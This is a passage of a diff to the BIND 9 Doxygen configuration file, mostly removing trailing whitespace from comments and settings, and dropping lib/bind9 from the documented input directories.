-# documented source files. You may enter file names like "myfile.cpp" or 
-# directories like "/usr/src/myproject". Separate the files or directories 
+# The INPUT tag can be used to specify the files and/or directories that contain
+# documented source files. You may enter file names like "myfile.cpp" or
+# directories like "/usr/src/myproject". Separate the files or directories
 # with spaces.
 
 INPUT                  = @BIND9_TOP_BUILDDIR@/lib/isc		\
@@ -464,7 +475,6 @@ INPUT                  = @BIND9_TOP_BUILDDIR@/lib/isc		\
 			 @BIND9_TOP_BUILDDIR@/lib/isccfg	\
 			 @BIND9_TOP_BUILDDIR@/lib/isccc		\
 			 @BIND9_TOP_BUILDDIR@/lib/ns		\
-			 @BIND9_TOP_BUILDDIR@/lib/bind9		\
 			 @BIND9_TOP_BUILDDIR@/bin/check		\
 			 @BIND9_TOP_BUILDDIR@/bin/dig		\
 			 @BIND9_TOP_BUILDDIR@/bin/dnssec	\
@@ -473,88 +483,88 @@ INPUT                  = @BIND9_TOP_BUILDDIR@/lib/isc		\
 			 @BIND9_TOP_BUILDDIR@/bin/rndc		\
 			 @BIND9_TOP_BUILDDIR@/doc/doxygen/mainpage
 
-# If the value of the INPUT tag contains directories, you can use the 
-# FILE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp 
-# and *.h) to filter out the source-files in the directories. If left 
-# blank the following patterns are tested: 
-# *.c *.cc *.cxx *.cpp *.c++ *.java *.ii *.ixx *.ipp *.i++ *.inl *.h *.hh *.hxx 
+# If the value of the INPUT tag contains directories, you can use the
+# FILE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp
+# and *.h) to filter out the source-files in the directories. If left
+# blank the following patterns are tested:
+# *.c *.cc *.cxx *.cpp *.c++ *.java *.ii *.ixx *.ipp *.i++ *.inl *.h *.hh *.hxx
 # *.hpp *.h++ *.idl *.odl *.cs *.php *.php3 *.inc *.m *.mm *.py
 
 FILE_PATTERNS          = *.c *.h *.dox
 
-# The RECURSIVE tag can be used to turn specify whether or not subdirectories 
-# should be searched for input files as well. Possible values are YES and NO. 
+# The RECURSIVE tag can be used to turn specify whether or not subdirectories
+# should be searched for input files as well. Possible values are YES and NO.
 # If left blank NO is used.
 
 RECURSIVE              = YES
 
-# The EXCLUDE tag can be used to specify files and/or directories that should 
-# excluded from the INPUT source files. This way you can easily exclude a 
+# The EXCLUDE tag can be used to specify files and/or directories that should
+# excluded from the INPUT source files. This way you can easily exclude a
 # subdirectory from a directory tree whose root is specified with the INPUT tag.
 
 EXCLUDE                =
 
-# The EXCLUDE_SYMLINKS tag can be used select whether or not files or 
-# directories that are symbolic links (a Unix filesystem feature) are excluded 
+# The EXCLUDE_SYMLINKS tag can be used select whether or not files or
+# directories that are symbolic links (a Unix filesystem feature) are excluded
 # from the input.
 
 EXCLUDE_SYMLINKS       = NO
 
-# If the value of the INPUT tag contains directories, you can use the 
-# EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude 
-# certain files from those directories. Note that the wildcards are matched 
-# against the file with absolute path, so to exclude all test directories 
+# If the value of the INPUT tag contains directories, you can use the
+# EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude
+# certain files from those directories. Note that the wildcards are matched
+# against the file with absolute path, so to exclude all test directories
 # for example use the pattern */test/*
 
 EXCLUDE_PATTERNS       = */lib/dns/gen* */lib/dns/rdata/*.h
 
-# The EXAMPLE_PATH tag can be used to specify one or more files or 
-# directories that contain example code fragments that are included (see 
+# The EXAMPLE_PATH tag can be used to specify one or more files or
+# directories that contain example code fragments that are included (see
 # the \include command).
 
-EXAMPLE_PATH           = 
+EXAMPLE_PATH           =
 
-# If the value of the EXAMPLE_PATH tag contains directories, you can use the 
-# EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp 
-# and *.h) to filter out the source-files in the directories. If left 
+# If the value of the EXAMPLE_PATH tag contains directories, you can use the
+# EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp
+# and *.h) to filter out the source-files in the directories. If left
 # blank all files are included.
 
 EXAMPLE_PATTERNS       = *
 
-# If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be 
-# searched for input files to be used with the \include or \dontinclude 
-# commands irrespective of the value of the RECURSIVE tag. 
+# If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be
+# searched for input files to be used with the \include or \dontinclude
+# commands irrespective of the value of the RECURSIVE tag.
 # Possible values are YES and NO. If left blank NO is used.
 
 EXAMPLE_RECURSIVE      = NO
 
-# The IMAGE_PATH tag can be used to specify one or more files or 
-# directories that contain image that are included in the documentation (see 
+# The IMAGE_PATH tag can be used to specify one or more files or
+# directories that contain image that are included in the documentation (see
 # the \image command).
 
-IMAGE_PATH             = 
+IMAGE_PATH             =
 
-# The INPUT_FILTER tag can be used to specify a program that doxygen should 
-# invoke to filter for each input file. Doxygen will invoke the filter program 
-# by executing (via popen()) the command <filter> <input-file>, where <filter> 
-# is the value of the INPUT_FILTER tag, and <input-file> is the name of an 
-# input file. Doxygen will then use the output that the filter program writes 
-# to standard output.  If FILTER_PATTERNS is specified, this tag will be 
+# The INPUT_FILTER tag can be used to specify a program that doxygen should
+# invoke to filter for each input file. Doxygen will invoke the filter program
+# by executing (via popen()) the command <filter> <input-file>, where <filter>
+# is the value of the INPUT_FILTER tag, and <input-file> is the name of an
+# input file. Doxygen will then use the output that the filter program writes
+# to standard output.  If FILTER_PATTERNS is specified, this tag will be
 # ignored.
 
 INPUT_FILTER           = ./doxygen-input-filter
 
-# The FILTER_PATTERNS tag can be used to specify filters on a per file pattern 
-# basis.  Doxygen will compare the file name with each pattern and apply the 
-# filter if there is a match.  The filters are a list of the form: 
-# pattern=filter (like *.cpp=my_cpp_filter). See INPUT_FILTER for further 
-# info on how filters are used. If FILTER_PATTERNS is empty, INPUT_FILTER 
+# The FILTER_PATTERNS tag can be used to specify filters on a per file pattern
+# basis.  Doxygen will compare the file name with each pattern and apply the
+# filter if there is a match.  The filters are a list of the form:
+# pattern=filter (like *.cpp=my_cpp_filter). See INPUT_FILTER for further
+# info on how filters are used. If FILTER_PATTERNS is empty, INPUT_FILTER
 # is applied to all files.
 
-FILTER_PATTERNS        = 
+FILTER_PATTERNS        =
 
-# If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using 
-# INPUT_FILTER) will be used to filter the input files when producing source 
+# If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using
+# INPUT_FILTER) will be used to filter the input files when producing source
 # files to browse (i.e. when SOURCE_BROWSER is set to YES).
 
 FILTER_SOURCE_FILES    = NO
@@ -563,32 +573,32 @@ FILTER_SOURCE_FILES    = NO
 # configuration options related to source browsing
 #---------------------------------------------------------------------------
 
-# If the SOURCE_BROWSER tag is set to YES then a list of source files will 
-# be generated. Documented entities will be cross-referenced with these sources. 
-# Note: To get rid of all source code in the generated output, make sure also 
+# If the SOURCE_BROWSER tag is set to YES then a list of source files will
+# be generated. Documented entities will be cross-referenced with these sources.
+# Note: To get rid of all source code in the generated output, make sure also
 # VERBATIM_HEADERS is set to NO.
 
 SOURCE_BROWSER         = YES
 
-# Setting the INLINE_SOURCES tag to YES will include the body 
+# Setting the INLINE_SOURCES tag to YES will include the body
 # of functions and classes directly in the documentation.
 
 INLINE_SOURCES         = NO
 
-# Setting the STRIP_CODE_COMMENTS tag to YES (the default) will instruct 
-# doxygen to hide any special comment blocks from generated source code 
+# Setting the STRIP_CODE_COMMENTS tag to YES (the default) will instruct
+# doxygen to hide any special comment blocks from generated source code
 # fragments. Normal C and C++ comments will always remain visible.
 
 STRIP_CODE_COMMENTS    = NO
 
-# If the REFERENCED_BY_RELATION tag is set to YES (the default) 
-# then for each documented function all documented 
+# If the REFERENCED_BY_RELATION tag is set to YES (the default)
+# then for each documented function all documented
 # functions referencing it will be listed.
 
 REFERENCED_BY_RELATION = YES
 
-# If the REFERENCES_RELATION tag is set to YES (the default) 
-# then for each documented function all documented entities 
+# If the REFERENCES_RELATION tag is set to YES (the default)
+# then for each documented function all documented entities
 # called/used by that function will be listed.
 
 REFERENCES_RELATION    = YES
@@ -600,16 +610,16 @@ REFERENCES_RELATION    = YES
 
 REFERENCES_LINK_SOURCE = YES
 
-# If the USE_HTAGS tag is set to YES then the references to source code 
-# will point to the HTML generated by the htags(1) tool instead of doxygen 
-# built-in source browser. The htags tool is part of GNU's global source 
-# tagging system (see http://www.gnu.org/software/global/global.html). You 
+# If the USE_HTAGS tag is set to YES then the references to source code
+# will point to the HTML generated by the htags(1) tool instead of doxygen
+# built-in source browser. The htags tool is part of GNU's global source
+# tagging system (see http://www.gnu.org/software/global/global.html). You
 # will need version 4.8.6 or higher.
 
 USE_HTAGS              = NO
 
-# If the VERBATIM_HEADERS tag is set to YES (the default) then Doxygen 
-# will generate a verbatim copy of the header file for each class for 
+# If the VERBATIM_HEADERS tag is set to YES (the default) then Doxygen
+# will generate a verbatim copy of the header file for each class for
 # which an include is specified. Set to NO to disable this.
 
 VERBATIM_HEADERS       = YES
@@ -618,133 +628,133 @@ VERBATIM_HEADERS       = YES
 # configuration options related to the alphabetical class index
 #---------------------------------------------------------------------------
 
-# If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index 
-# of all compounds will be generated. Enable this if the project 
+# If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index
+# of all compounds will be generated. Enable this if the project
 # contains a lot of classes, structs, unions or interfaces.
 
 ALPHABETICAL_INDEX     = YES
 
-# If the alphabetical index is enabled (see ALPHABETICAL_INDEX) then 
-# the COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns 
+# If the alphabetical index is enabled (see ALPHABETICAL_INDEX) then
+# the COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns
 # in which this list will be split (can be a number in the range [1..20])
 
 COLS_IN_ALPHA_INDEX    = 5
 
-# In case all classes in a project start with a common prefix, all 
-# classes will be put under the same header in the alphabetical index. 
-# The IGNORE_PREFIX tag can be used to specify one or more prefixes that 
+# In case all classes in a project start with a common prefix, all
+# classes will be put under the same header in the alphabetical index.
+# The IGNORE_PREFIX tag can be used to specify one or more prefixes that
 # should be ignored while generating the index headers.
 
-IGNORE_PREFIX          = 
+IGNORE_PREFIX          =
 
 #---------------------------------------------------------------------------
 # configuration options related to the HTML output
 #---------------------------------------------------------------------------
 
-# If the GENERATE_HTML tag is set to YES (the default) Doxygen will 
+# If the GENERATE_HTML tag is set to YES (the default) Doxygen will
 # generate HTML output.
 
 GENERATE_HTML          = YES
 
-# The HTML_OUTPUT tag is used to specify where the HTML docs will be put. 
-# If a relative path is entered the value of OUTPUT_DIRECTORY will be 
+# The HTML_OUTPUT tag is used to specify where the HTML docs will be put.
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be
 # put in front of it. If left blank `html' will be used as the default path.
 
 HTML_OUTPUT            = html
 
-# The HTML_FILE_EXTENSION tag can be used to specify the file extension for 
-# each generated HTML page (for example: .htm,.php,.asp). If it is left blank 
+# The HTML_FILE_EXTENSION tag can be used to specify the file extension for
+# each generated HTML page (for example: .htm,.php,.asp). If it is left blank
 # doxygen will generate files with .html extension.
 
 HTML_FILE_EXTENSION    = .html
 
-# The HTML_HEADER tag can be used to specify a personal HTML header for 
-# each generated HTML page. If it is left blank doxygen will generate a 
+# The HTML_HEADER tag can be used to specify a personal HTML header for
+# each generated HTML page. If it is left blank doxygen will generate a
 # standard header.
 
 HTML_HEADER            = isc-header.html
 
-# The HTML_FOOTER tag can be used to specify a personal HTML footer for 
-# each generated HTML page. If it is left blank doxygen will generate a 
+# The HTML_FOOTER tag can be used to specify a personal HTML footer for
+# each generated HTML page. If it is left blank doxygen will generate a
 # standard footer.
 
 HTML_FOOTER            = isc-footer.html
 
-# The HTML_STYLESHEET tag can be used to specify a user-defined cascading 
-# style sheet that is used by each HTML page. It can be used to 
-# fine-tune the look of the HTML output. If the tag is left blank doxygen 
-# will generate a default style sheet. Note that doxygen will try to copy 
-# the style sheet file to the HTML output directory, so don't put your own 
+# The HTML_STYLESHEET tag can be used to specify a user-defined cascading
+# style sheet that is used by each HTML page. It can be used to
+# fine-tune the look of the HTML output. If the tag is left blank doxygen
+# will generate a default style sheet. Note that doxygen will try to copy
+# the style sheet file to the HTML output directory, so don't put your own
 # stylesheet in the HTML output directory as well, or it will be erased!
 
-HTML_STYLESHEET        = 
+HTML_STYLESHEET        =
 
-# If the HTML_ALIGN_MEMBERS tag is set to YES, the members of classes, 
-# files or namespaces will be aligned in HTML using tables. If set to 
+# If the HTML_ALIGN_MEMBERS tag is set to YES, the members of classes,
+# files or namespaces will be aligned in HTML using tables. If set to
 # NO a bullet list will be used.
 
 HTML_ALIGN_MEMBERS     = YES
 
-# If the GENERATE_HTMLHELP tag is set to YES, additional index files 
-# will be generated that can be used as input for tools like the 
-# Microsoft HTML help workshop to generate a compressed HTML help file (.chm) 
+# If the GENERATE_HTMLHELP tag is set to YES, additional index files
+# will be generated that can be used as input for tools like the
+# Microsoft HTML help workshop to generate a compressed HTML help file (.chm)
 # of the generated HTML documentation.
 
 GENERATE_HTMLHELP      = NO
 
-# If the GENERATE_HTMLHELP tag is set to YES, the CHM_FILE tag can 
-# be used to specify the file name of the resulting .chm file. You 
-# can add a path in front of the file if the result should not be 
+# If the GENERATE_HTMLHELP tag is set to YES, the CHM_FILE tag can
+# be used to specify the file name of the resulting .chm file. You
+# can add a path in front of the file if the result should not be
 # written to the html output directory.
 
-CHM_FILE               = 
+CHM_FILE               =
 
-# If the GENERATE_HTMLHELP tag is set to YES, the HHC_LOCATION tag can 
-# be used to specify the location (absolute path including file name) of 
-# the HTML help compiler (hhc.exe). If non-empty doxygen will try to run 
+# If the GENERATE_HTMLHELP tag is set to YES, the HHC_LOCATION tag can
+# be used to specify the location (absolute path including file name) of
+# the HTML help compiler (hhc.exe). If non-empty doxygen will try to run
 # the HTML help compiler on the generated index.hhp.
 
-HHC_LOCATION           = 
+HHC_LOCATION           =
 
-# If the GENERATE_HTMLHELP tag is set to YES, the GENERATE_CHI flag 
-# controls if a separate .chi index file is generated (YES) or that 
+# If the GENERATE_HTMLHELP tag is set to YES, the GENERATE_CHI flag
+# controls if a separate .chi index file is generated (YES) or that
 # it should be included in the master .chm file (NO).
 
 GENERATE_CHI           = NO
 
-# If the GENERATE_HTMLHELP tag is set to YES, the BINARY_TOC flag 
-# controls whether a binary table of contents is generated (YES) or a 
+# If the GENERATE_HTMLHELP tag is set to YES, the BINARY_TOC flag
+# controls whether a binary table of contents is generated (YES) or a
 # normal table of contents (NO) in the .chm file.
 
 BINARY_TOC             = NO
 
-# The TOC_EXPAND flag can be set to YES to add extra items for group members 
+# The TOC_EXPAND flag can be set to YES to add extra items for group members
 # to the contents of the HTML help documentation and to the tree view.
 
 TOC_EXPAND             = NO
 
-# The DISABLE_INDEX tag can be used to turn on/off the condensed index at 
-# top of each HTML page. The value NO (the default) enables the index and 
+# The DISABLE_INDEX tag can be used to turn on/off the condensed index at
+# top of each HTML page. The value NO (the default) enables the index and
 # the value YES disables it.
 
 DISABLE_INDEX          = NO
 
-# This tag can be used to set the number of enum values (range [1..20]) 
+# This tag can be used to set the number of enum values (range [1..20])
 # that doxygen will group on one line in the generated HTML documentation.
 
 ENUM_VALUES_PER_LINE   = 4
 
 # If the GENERATE_TREEVIEW tag is set to YES, a side panel will be
-# generated containing a tree-like index structure (just like the one that 
-# is generated for HTML Help). For this to work a browser that supports 
-# JavaScript, DHTML, CSS and frames is required (for instance Mozilla 1.0+, 
-# Netscape 6.0+, Internet explorer 5.0+, or Konqueror). Windows users are 
+# generated containing a tree-like index structure (just like the one that
+# is generated for HTML Help). For this to work a browser that supports
+# JavaScript, DHTML, CSS and frames is required (for instance Mozilla 1.0+,
+# Netscape 6.0+, Internet explorer 5.0+, or Konqueror). Windows users are
 # probably better off using the HTML help feature.
 
 GENERATE_TREEVIEW      = NO
 
-# If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be 
-# used to set the initial width (in pixels) of the frame in which the tree 
+# If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be
+# used to set the initial width (in pixels) of the frame in which the tree
 # is shown.
 
 TREEVIEW_WIDTH         = 250
@@ -753,74 +763,74 @@ TREEVIEW_WIDTH         = 250
 # configuration options related to the LaTeX output
 #---------------------------------------------------------------------------
 
-# If the GENERATE_LATEX tag is set to YES (the default) Doxygen will 
+# If the GENERATE_LATEX tag is set to YES (the default) Doxygen will
 # generate Latex output.
 
 GENERATE_LATEX         = NO
 
-# The LATEX_OUTPUT tag is used to specify where the LaTeX docs will be put. 
-# If a relative path is entered the value of OUTPUT_DIRECTORY will be 
+# The LATEX_OUTPUT tag is used to specify where the LaTeX docs will be put.
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be
 # put in front of it. If left blank `latex' will be used as the default path.
 
 LATEX_OUTPUT           = latex
 
-# The LATEX_CMD_NAME tag can be used to specify the LaTeX command name to be 
+# The LATEX_CMD_NAME tag can be used to specify the LaTeX command name to be
 # invoked. If left blank `latex' will be used as the default command name.
 
 LATEX_CMD_NAME         = latex
 
-# The MAKEINDEX_CMD_NAME tag can be used to specify the command name to 
-# generate index for LaTeX. If left blank `makeindex' will be used as the 
+# The MAKEINDEX_CMD_NAME tag can be used to specify the command name to
+# generate index for LaTeX. If left blank `makeindex' will be used as the
 # default command name.
 
 MAKEINDEX_CMD_NAME     = makeindex
 
-# If the COMPACT_LATEX tag is set to YES Doxygen generates more compact 
-# LaTeX documents. This may be useful for small projects and may help to 
+# If the COMPACT_LATEX tag is set to YES Doxygen generates more compact
+# LaTeX documents. This may be useful for small projects and may help to
 # save some trees in general.
 
 COMPACT_LATEX          = YES
 
-# The PAPER_TYPE tag can be used to set the paper type that is used 
-# by the printer. Possible values are: a4, a4wide, letter, legal and 
+# The PAPER_TYPE tag can be used to set the paper type that is used
+# by the printer. Possible values are: a4, a4wide, letter, legal and
 # executive. If left blank a4wide will be used.
 
 PAPER_TYPE             = letter
 
-# The EXTRA_PACKAGES tag can be to specify one or more names of LaTeX 
+# The EXTRA_PACKAGES tag can be to specify one or more names of LaTeX
 # packages that should be included in the LaTeX output.
 
-EXTRA_PACKAGES         = 
+EXTRA_PACKAGES         =
 
-# The LATEX_HEADER tag can be used to specify a personal LaTeX header for 
-# the generated latex document. The header should contain everything until 
-# the first chapter. If it is left blank doxygen will generate a 
+# The LATEX_HEADER tag can be used to specify a personal LaTeX header for
+# the generated latex document. The header should contain everything until
+# the first chapter. If it is left blank doxygen will generate a
 # standard header. Notice: only use this tag if you know what you are doing!
 
-LATEX_HEADER           = 
+LATEX_HEADER           =
 
-# If the PDF_HYPERLINKS tag is set to YES, the LaTeX that is generated 
-# is prepared for conversion to pdf (using ps2pdf). The pdf file will 
-# contain links (just like the HTML output) instead of page references 
+# If the PDF_HYPERLINKS tag is set to YES, the LaTeX that is generated
+# is prepared for conversion to pdf (using ps2pdf). The pdf file will
+# contain links (just like the HTML output) instead of page references
 # This makes the output suitable for online browsing using a pdf viewer.
 
 PDF_HYPERLINKS         = NO
 
-# If the USE_PDFLATEX tag is set to YES, pdflatex will be used instead of 
-# plain latex in the generated Makefile. Set this option to YES to get a 
+# If the USE_PDFLATEX tag is set to YES, pdflatex will be used instead of
+# plain latex in the generated Makefile. Set this option to YES to get a
 # higher quality PDF documentation.
 
 USE_PDFLATEX           = YES
 
-# If the LATEX_BATCHMODE tag is set to YES, doxygen will add the \\batchmode. 
-# command to the generated LaTeX files. This will instruct LaTeX to keep 
-# running if errors occur, instead of asking the user for help. 
+# If the LATEX_BATCHMODE tag is set to YES, doxygen will add the \\batchmode.
+# command to the generated LaTeX files. This will instruct LaTeX to keep
+# running if errors occur, instead of asking the user for help.
 # This option is also used when generating formulas in HTML.
 
 LATEX_BATCHMODE        = YES
 
-# If LATEX_HIDE_INDICES is set to YES then doxygen will not 
-# include the index chapters (such as File Index, Compound Index, etc.) 
+# If LATEX_HIDE_INDICES is set to YES then doxygen will not
+# include the index chapters (such as File Index, Compound Index, etc.)
 # in the output.
 
 LATEX_HIDE_INDICES     = YES
@@ -829,68 +839,68 @@ LATEX_HIDE_INDICES     = YES
 # configuration options related to the RTF output
 #---------------------------------------------------------------------------
 
-# If the GENERATE_RTF tag is set to YES Doxygen will generate RTF output 
-# The RTF output is optimized for Word 97 and may not look very pretty with 
+# If the GENERATE_RTF tag is set to YES Doxygen will generate RTF output
+# The RTF output is optimized for Word 97 and may not look very pretty with
 # other RTF readers or editors.
 
 GENERATE_RTF           = NO
 
-# The RTF_OUTPUT tag is used to specify where the RTF docs will be put. 
-# If a relative path is entered the value of OUTPUT_DIRECTORY will be 
+# The RTF_OUTPUT tag is used to specify where the RTF docs will be put.
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be
 # put in front of it. If left blank `rtf' will be used as the default path.
 
 RTF_OUTPUT             = rtf
 
-# If the COMPACT_RTF tag is set to YES Doxygen generates more compact 
-# RTF documents. This may be useful for small projects and may help to 
+# If the COMPACT_RTF tag is set to YES Doxygen generates more compact
+# RTF documents. This may be useful for small projects and may help to
 # save some trees in general.
 
 COMPACT_RTF            = NO
 
-# If the RTF_HYPERLINKS tag is set to YES, the RTF that is generated 
-# will contain hyperlink fields. The RTF file will 
-# contain links (just like the HTML output) instead of page references. 
-# This makes the output suitable for online browsing using WORD or other 
-# programs which support those fields. 
+# If the RTF_HYPERLINKS tag is set to YES, the RTF that is generated
+# will contain hyperlink fields. The RTF file will
+# contain links (just like the HTML output) instead of page references.
+# This makes the output suitable for online browsing using WORD or other
+# programs which support those fields.
 # Note: wordpad (write) and others do not support links.
 
 RTF_HYPERLINKS         = NO
 
-# Load stylesheet definitions from file. Syntax is similar to doxygen's 
-# config file, i.e. a series of assignments. You only have to provide 
+# Load stylesheet definitions from file. Syntax is similar to doxygen's
+# config file, i.e. a series of assignments. You only have to provide
 # replacements, missing definitions are set to their default value.
 
-RTF_STYLESHEET_FILE    = 
+RTF_STYLESHEET_FILE    =
 
-# Set optional variables used in the generation of an rtf document. 
+# Set optional variables used in the generation of an rtf document.
 # Syntax is similar to doxygen's config file.
 
-RTF_EXTENSIONS_FILE    = 
+RTF_EXTENSIONS_FILE    =
 
 #---------------------------------------------------------------------------
 # configuration options related to the man page output
 #---------------------------------------------------------------------------
 
-# If the GENERATE_MAN tag is set to YES (the default) Doxygen will 
+# If the GENERATE_MAN tag is set to YES (the default) Doxygen will
 # generate man pages
 
 GENERATE_MAN           = NO
 
-# The MAN_OUTPUT tag is used to specify where the man pages will be put. 
-# If a relative path is entered the value of OUTPUT_DIRECTORY will be 
+# The MAN_OUTPUT tag is used to specify where the man pages will be put.
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be
 # put in front of it. If left blank `man' will be used as the default path.
 
 MAN_OUTPUT             = man
 
-# The MAN_EXTENSION tag determines the extension that is added to 
+# The MAN_EXTENSION tag determines the extension that is added to
 # the generated man pages (default is the subroutine's section .3)
 
 MAN_EXTENSION          = .3
 
-# If the MAN_LINKS tag is set to YES and Doxygen generates man output, 
-# then it will generate one additional man file for each entity 
-# documented in the real man page(s). These additional files 
-# only source the real man page, but without them the man command 
+# If the MAN_LINKS tag is set to YES and Doxygen generates man output,
+# then it will generate one additional man file for each entity
+# documented in the real man page(s). These additional files
+# only source the real man page, but without them the man command
 # would be unable to find the correct page. The default is NO.
 
 MAN_LINKS              = NO
@@ -899,33 +909,33 @@ MAN_LINKS              = NO
 # configuration options related to the XML output
 #---------------------------------------------------------------------------
 
-# If the GENERATE_XML tag is set to YES Doxygen will 
-# generate an XML file that captures the structure of 
+# If the GENERATE_XML tag is set to YES Doxygen will
+# generate an XML file that captures the structure of
 # the code including all documentation.
 
 GENERATE_XML           = YES
 
-# The XML_OUTPUT tag is used to specify where the XML pages will be put. 
-# If a relative path is entered the value of OUTPUT_DIRECTORY will be 
+# The XML_OUTPUT tag is used to specify where the XML pages will be put.
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be
 # put in front of it. If left blank `xml' will be used as the default path.
 
 XML_OUTPUT             = xml
 
-# The XML_SCHEMA tag can be used to specify an XML schema, 
-# which can be used by a validating XML parser to check the 
+# The XML_SCHEMA tag can be used to specify an XML schema,
+# which can be used by a validating XML parser to check the
 # syntax of the XML files.
 
-XML_SCHEMA             = 
+XML_SCHEMA             =
 
-# The XML_DTD tag can be used to specify an XML DTD, 
-# which can be used by a validating XML parser to check the 
+# The XML_DTD tag can be used to specify an XML DTD,
+# which can be used by a validating XML parser to check the
 # syntax of the XML files.
 
-XML_DTD                = 
+XML_DTD                =
 
-# If the XML_PROGRAMLISTING tag is set to YES Doxygen will 
-# dump the program listings (including syntax highlighting 
-# and cross-referencing information) to the XML output. Note that 
+# If the XML_PROGRAMLISTING tag is set to YES Doxygen will
+# dump the program listings (including syntax highlighting
+# and cross-referencing information) to the XML output. Note that
 # enabling this will significantly increase the size of the XML output.
 
 XML_PROGRAMLISTING     = YES
@@ -934,10 +944,10 @@ XML_PROGRAMLISTING     = YES
 # configuration options for the AutoGen Definitions output
 #---------------------------------------------------------------------------
 
-# If the GENERATE_AUTOGEN_DEF tag is set to YES Doxygen will 
-# generate an AutoGen Definitions (see autogen.sf.net) file 
-# that captures the structure of the code including all 
-# documentation. Note that this feature is still experimental 
+# If the GENERATE_AUTOGEN_DEF tag is set to YES Doxygen will
+# generate an AutoGen Definitions (see autogen.sf.net) file
+# that captures the structure of the code including all
+# documentation. Note that this feature is still experimental
 # and incomplete at the moment.
 
 GENERATE_AUTOGEN_DEF   = NO
@@ -946,320 +956,320 @@ GENERATE_AUTOGEN_DEF   = NO
 # configuration options related to the Perl module output
 #---------------------------------------------------------------------------
 
-# If the GENERATE_PERLMOD tag is set to YES Doxygen will 
-# generate a Perl module file that captures the structure of 
-# the code including all documentation. Note that this 
-# feature is still experimental and incomplete at the 
+# If the GENERATE_PERLMOD tag is set to YES Doxygen will
+# generate a Perl module file that captures the structure of
+# the code including all documentation. Note that this
+# feature is still experimental and incomplete at the
 # moment.
 
 GENERATE_PERLMOD       = NO
 
-# If the PERLMOD_LATEX tag is set to YES Doxygen will generate 
-# the necessary Makefile rules, Perl scripts and LaTeX code to be able 
+# If the PERLMOD_LATEX tag is set to YES Doxygen will generate
+# the necessary Makefile rules, Perl scripts and LaTeX code to be able
 # to generate PDF and DVI output from the Perl module output.
 
 PERLMOD_LATEX          = NO
 
-# If the PERLMOD_PRETTY tag is set to YES the Perl module output will be 
-# nicely formatted so it can be parsed by a human reader.  This is useful 
-# if you want to understand what is going on.  On the other hand, if this 
-# tag is set to NO the size of the Perl module output will be much smaller 
+# If the PERLMOD_PRETTY tag is set to YES the Perl module output will be
+# nicely formatted so it can be parsed by a human reader.  This is useful
+# if you want to understand what is going on.  On the other hand, if this
+# tag is set to NO the size of the Perl module output will be much smaller
 # and Perl will parse it just the same.
 
 PERLMOD_PRETTY         = YES
 
-# The names of the make variables in the generated doxyrules.make file 
-# are prefixed with the string contained in PERLMOD_MAKEVAR_PREFIX. 
-# This is useful so different doxyrules.make files included by the same 
+# The names of the make variables in the generated doxyrules.make file
+# are prefixed with the string contained in PERLMOD_MAKEVAR_PREFIX.
+# This is useful so different doxyrules.make files included by the same
 # Makefile don't overwrite each other's variables.
 
-PERLMOD_MAKEVAR_PREFIX = 
+PERLMOD_MAKEVAR_PREFIX =
 
 #---------------------------------------------------------------------------
-# Configuration options related to the preprocessor   
+# Configuration options related to the preprocessor
 #---------------------------------------------------------------------------
 
-# If the ENABLE_PREPROCESSING tag is set to YES (the default) Doxygen will 
-# evaluate all C-preprocessor directives found in the sources and include 
+# If the ENABLE_PREPROCESSING tag is set to YES (the default) Doxygen will
+# evaluate all C-preprocessor directives found in the sources and include
 # files.
 
 ENABLE_PREPROCESSING   = YES
 
-# If the MACRO_EXPANSION tag is set to YES Doxygen will expand all macro 
-# names in the source code. If set to NO (the default) only conditional 
-# compilation will be performed. Macro expansion can be done in a controlled 
+# If the MACRO_EXPANSION tag is set to YES Doxygen will expand all macro
+# names in the source code. If set to NO (the default) only conditional
+# compilation will be performed. Macro expansion can be done in a controlled
 # way by setting EXPAND_ONLY_PREDEF to YES.
 
 MACRO_EXPANSION        = YES
 
-# If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES 
-# then the macro expansion is limited to the macros specified with the 
+# If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES
+# then the macro expansion is limited to the macros specified with the
 # PREDEFINED and EXPAND_AS_DEFINED tags.
 
 EXPAND_ONLY_PREDEF     = YES
 
-# If the SEARCH_INCLUDES tag is set to YES (the default) the includes files 
+# If the SEARCH_INCLUDES tag is set to YES (the default) the includes files
 # in the INCLUDE_PATH (see below) will be search if a #include is found.
 
 SEARCH_INCLUDES        = YES
 
-# The INCLUDE_PATH tag can be used to specify one or more directories that 
-# contain include files that are not input files but should be processed by 
+# The INCLUDE_PATH tag can be used to specify one or more directories that
+# contain include files that are not input files but should be processed by
 # the preprocessor.
 
-INCLUDE_PATH           = 
+INCLUDE_PATH           =
 
-# You can use the INCLUDE_FILE_PATTERNS tag to specify one or more wildcard 
-# patterns (like *.h and *.hpp) to filter out the header-files in the 
-# directories. If left blank, the patterns specified with FILE_PATTERNS will 
+# You can use the INCLUDE_FILE_PATTERNS tag to specify one or more wildcard
+# patterns (like *.h and *.hpp) to filter out the header-files in the
+# directories. If left blank, the patterns specified with FILE_PATTERNS will
 # be used.
 
-INCLUDE_FILE_PATTERNS  = 
+INCLUDE_FILE_PATTERNS  =
 
-# The PREDEFINED tag can be used to specify one or more macro names that 
-# are defined before the preprocessor is started (similar to the -D option of 
-# gcc). The argument of the tag is a list of macros of the form: name 
-# or name=definition (no spaces). If the definition and the = are 
-# omitted =1 is assumed. To prevent a macro definition from being 
